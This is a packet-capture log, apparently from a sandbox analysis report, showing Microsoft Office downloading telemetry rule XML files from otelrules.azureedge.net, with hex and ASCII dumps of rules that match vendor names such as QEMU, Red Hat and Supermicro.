2024-11-18 16:24:15 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:15 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162415Z-16547b76f7f2b5qzhC1DFWeag4000000046000000000n53u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:16 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:16 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162416Z-16547b76f7fgvq8chC1DFWhd2w00000006kg00000000k6zm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:16 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:16 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 416d43dc-f01e-003f-18d2-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162416Z-1866b5c5fbbfrdddhC1DFW7e90000000022g00000000d3c9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:16 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:16 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a5808a03-d01e-002b-349b-3825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162416Z-16547b76f7fd77jrhC1DFWfwq000000002s00000000097q3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:16 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:16 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162416Z-164f84587bfr8hdmhC1DFWt5nc000000045g00000000umu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:16 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:16 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 3e2bc75c-901e-0048-059c-37b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162416Z-1866b5c5fbbkbjq9hC1DFWf1es0000000520000000005ags x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:16 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:16 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 477f9298-401e-0029-0942-389b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162417Z-164f84587bf9nk94hC1DFWerbg000000050000000000m3d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:16 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 7d8b983e-001e-0066-2ed2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162417Z-1866b5c5fbbx98hfhC1DFWuqmg00000004v0000000006ya1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:17 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:17 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162417Z-16547b76f7fkz9l7hC1DFW35uc000000032000000000mpxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:17 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:17 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162417Z-1866b5c5fbbvz6qbhC1DFWsyms00000005b0000000004dye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:17 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162417Z-16547b76f7fwcwmrhC1DFWtp0400000001wg00000000hzmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:17 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
